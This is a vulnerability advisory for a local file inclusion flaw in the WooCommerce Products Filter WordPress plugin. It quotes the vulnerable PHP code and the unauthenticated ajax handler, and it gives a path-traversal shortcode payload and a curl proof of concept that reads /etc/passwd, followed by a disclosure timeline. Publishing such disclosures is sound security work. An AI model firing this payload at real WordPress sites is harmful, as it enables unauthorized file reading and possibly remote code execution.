WooCommerce Products Filter v1.1.9 and WOOF - WooCommerce Products Filter v.2.1.9 suffers from a local file include vulnerability.

woof_products ShortCode

The woof_products short-code has an argument called custom_tpl

 public function woof_products($atts, $is_prediction = false) {
    $_REQUEST['woof_products_doing'] = 1;
    //add_filter('posts_where', array($this, 'woof_post_text_filter'), 9999);
    //add_filter('posts_where', array($this, 'woof_post_author_filter'), 9999);
    $shortcode_txt = 'woof_products';
    if (!empty($atts)) {
        foreach ($atts as $key => $value) {
        $shortcode_txt .= ' ' . $key . '=' . $value;
        }
    }
    //***
    $data = $this->get_request_data();
    $catalog_orderby = $this->get_catalog_orderby(isset($data['orderby']) ? $data['orderby'] : '');

    //https://gist.github.com/mikejolley/1622323
    extract(shortcode_atts(array(
        'columns' => apply_filters('loop_shop_columns', 4),
        'orderby' => 'no',
        'order' => 'no',
        'page' => 1,
        'per_page' => 0,
        'is_ajax' => 0,
        'taxonomies' => '',
        'sid' => '',
        'behavior' => '', //recent
        'custom_tpl' => '', //path like: wp-content/themes/my_theme/woo_tpl_1.php
        'tpl_index' => '', //index of any template extension
        'predict_ids_and_continue' => false,
        'get_args_only' => false,
            ), $atts));

This argument gets used later on:

<?php  
        $template_part = apply_filters('woof_template_part', 'product');
//products output
if (empty($custom_tpl) AND empty($tpl_index)) {  
while ($products->have_posts()) : $products->the_post();  
    wc_get_template_part('content', $template_part);
endwhile; // end of the loop.  
}else {
if (!empty($tpl_index)) {  
    //template extension drawing
    if (isset(WOOF_EXT::$includes['applications'][$tpl_index])) {
    WOOF_EXT::$includes['applications'][$tpl_index]->draw($products);
    }
} else {
    echo $this->render_html(WP_CONTENT_DIR . '/' . $custom_tpl, array(
    'the_products' => $products
    ));
}
}
?>

So, if we provide a custom_tpl it will be passed to the render_html function, which includes it.

public function render_html($pagepath, $data = array()) {  
    $pagepath = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $pagepath);
    if (is_array($data) AND ! empty($data)) {
    extract($data);
    }
    ob_start();
    include($pagepath);
    return ob_get_clean();
}

Exploit

In order to exploit this issue, we need to run the woof_products shortcode with the custom_tpl argument. Something like this:

[woof_products custom_tpl="../../../../../../../../../etc/passwd"][/woof_products]

A quick search for do_shortcode brigs us this beauty:

//shortcode, works when ajax mode only for shop/category page
public function woof_draw_products() {  
    $link = parse_url($_REQUEST['link'], PHP_URL_QUERY);
    parse_str($link, $_GET); //$_GET data init
    //add_filter('posts_where', array($this, 'woof_post_text_filter'), 9999);
    $products = do_shortcode("[" . $_REQUEST['shortcode'] . " page=" . $_REQUEST['page'] . "]");
    //+++
    $form = '';
    if (isset($_REQUEST['woof_shortcode'])) {//if search form on the page exists
    //for data-shortcode in woof.php in ajax mode
    $_REQUEST['woof_shortcode_txt'] = $_REQUEST['woof_shortcode'];
    //***
    if (empty($_REQUEST['woof_additional_taxonomies_string'])) {
        $form = do_shortcode("[" . stripslashes($_REQUEST['woof_shortcode']) . "]");
    } else {
        $form = do_shortcode("[" . stripslashes($_REQUEST['woof_shortcode']) . " taxonomies={$_REQUEST['woof_additional_taxonomies_string']}]");
    }
    }
    wp_die(json_encode(compact('products', 'form')));
}

The woof_draw_products function is called on "ajax mode"

add_action('wp_ajax_woof_draw_products', array($this, 'woof_draw_products'));  
add_action('wp_ajax_nopriv_woof_draw_products', array($this, 'woof_draw_products'));  

There are multiple ways in which we can run arbitrary short-code in the woof_draw_products function. As a bonus point it can be run as an unauthenticated user as well, not that creating a user with WooCommerce would be that hard.

POC

Putting it together would result in the following payload:

$ curl 'http://wp.local/wp-admin/admin-ajax.php' --data 'action=woof_draw_products&woof_shortcode=woof_products custom_tpl="./../../../../../../etc/passwd"'

Impact 7 / 10

50.000+ Installs on WordPress.org, Unauthenticated, can include any type of file, can easily lead to RCE (https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)

Timeline

26 - 02 - 2018 - Vulnerability discovered.  
26 - 02 - 2018 - Vendor notified.  
06 - 03 - 2018 - Update released, v1.2.0/v.2.2.0 https://www.woocommerce-filter.com/update-woocommerce-products-filter-v-2-2-0/  
11 - 03 - 2018 - Vulnerability goes public.